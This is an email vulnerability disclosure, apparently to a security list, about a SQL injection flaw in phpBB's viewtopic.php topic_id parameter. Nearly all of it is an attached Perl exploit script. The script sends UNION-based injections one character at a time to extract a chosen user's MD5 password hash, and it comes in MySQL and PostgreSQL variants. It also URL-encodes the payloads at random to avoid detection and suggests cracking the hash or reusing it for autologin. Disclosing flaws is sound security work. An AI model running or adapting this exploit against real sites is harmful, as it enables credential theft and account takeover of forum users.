|
------=_NextPart_000_0008_01C33601.F806D390 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit Hi There is sql injection vuln in phpBB. The variable "topic_id" is passed directly from GET to sql query in /viewtopic.php. It can be used to get md5 passwords for users. I am attaching details and proof of concept code. I've only tested this on mysql 4 and pgsql at my home machines so I might have missed something... Rick Patel ------=_NextPart_000_0008_01C33601.F806D390 Content-Type: application/octet-stream; name="phpbb_sql.pl" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="phpbb_sql.pl" #!/usr/bin/perl -w # # # phpBB password disclosure vuln. # - rick patel (rikul7@yahoo.com) - #=09 # There is a sql injection vuln which exists in /viewtopic.php file. The = variable is $topic_id # which gets passed directly to sql server in query. Attacker could pass = a special sql string which # can used to see md5 password hash for any user (!) for phpBB. This = pass can be later used with # autologin or cracked using john. =20 # # Details:=20 # # this is checking done for $topic_id in viewtopic.php: # # if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) ) # { # $topic_id =3D intval($HTTP_GET_VARS[POST_TOPIC_URL]); # } # else if ( isset($HTTP_GET_VARS['topic']) ) # { # $topic_id =3D intval($HTTP_GET_VARS['topic']); # } # # ok... no else statement at end :) # now if GET[view]=3Dnewest and GET[sid] is set, this query gets = executed: # # $sql =3D "SELECT p.post_id # FROM " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s, " = . USERS_TABLE . " u # WHERE s.session_id =3D '$session_id' # AND u.user_id =3D s.session_user_id # AND p.topic_id =3D $topic_id # AND p.post_time >=3D u.user_lastvisit # ORDER BY p.post_time ASC # LIMIT 1"; # # Ahh! $topic_id gets passed directy to query. So how can we use this to = do something important? Well # I decided to use union and create a second query will get us something = useful. There were couple of=20 # problems i ran into. first, phpBB only cares about the first row = returned. second, the select for first # query is p.post_id which is int, so int becomes the type returned for = any other query in union. third, # there is rest of junk at end " AND p.post_time >=3D ..." We tell mysql = to ignore that by placing /* at end # of our injected query. So what query can we make that returns only = int? =20 # this one =3D> select ord(substring(user_password,$index,1)) from = phpbb_users where user_id =3D $uid # Then all we have to do is query 32 times which $index from 1-32 and we = get ord value of all chars of # md5 hash password.=20 # # I have only tested this with mysql 4 and pgsql . Mysql 3.x does not = support unions so you would have to tweak # the query to do anything useful.=20 #=09 # This script is for educational purpose only. Please dont use it to do = anything else.=09 # use IO::Socket; $remote =3D shift || 'localhost'; $view_topic =3D shift || '/phpBB2/viewtopic.php'; $uid =3D shift || 2; $port =3D 80; $dbtype =3D 'mysql4'; # mysql4 or pgsql=20 print "Trying to get password hash for uid $uid server $remote dbtype: = $dbtype\n"; $p =3D ""; for($index=3D1; $index<=3D32; $index++) { $socket =3D IO::Socket::INET->new(PeerAddr =3D> $remote, PeerPort =3D> $port, Proto =3D> "tcp", Type =3D> SOCK_STREAM) or die "Couldnt connect to $remote:$port : $@\n"; $str =3D "GET $view_topic" . "?sid=3D1&topic_id=3D-1" . = random_encode(make_dbsql()) . "&view=3Dnewest" . " HTTP/1.0\n\n"; print $socket $str; print $socket "Cookie: phpBB2mysql_sid=3D1\n"; # replace this for pgsql = or remove it print $socket "Host: $remote\n\n"; while ($answer =3D <$socket>) { if ($answer =3D~ /Location:.*\x23(\d+)/) # Matches the Location: = viewtopic.php?p=3D<num>#<num> { $p .=3D chr ($1); } } =09 close($socket); } print "\nMD5 Hash for uid $uid is $p\n"; # random encode str. helps avoid detection sub random_encode { $str =3D shift; $ret =3D ""; for($i=3D0; $i<length($str); $i++) { $c =3D substr($str,$i,1); $j =3D rand length($str) * 1000; =09 if (int($j) % 2 || $c eq ' ') { $ret .=3D "%" . sprintf("%x",ord($c)); } else { $ret .=3D $c; } } return $ret; } sub make_dbsql { if ($dbtype eq 'mysql4') { return " union select ord(substring(user_password," . $index . ",1)) = from phpbb_users where user_id=3D$uid/*" ; } elsif ($dbtype eq 'pgsql') { return "; select ascii(substring(user_password from $index for 1)) as = post_id from phpbb_posts p, phpbb_users u where u.user_id=3D$uid or = false"; } else=20 { return ""; } } ------=_NextPart_000_0008_01C33601.F806D390--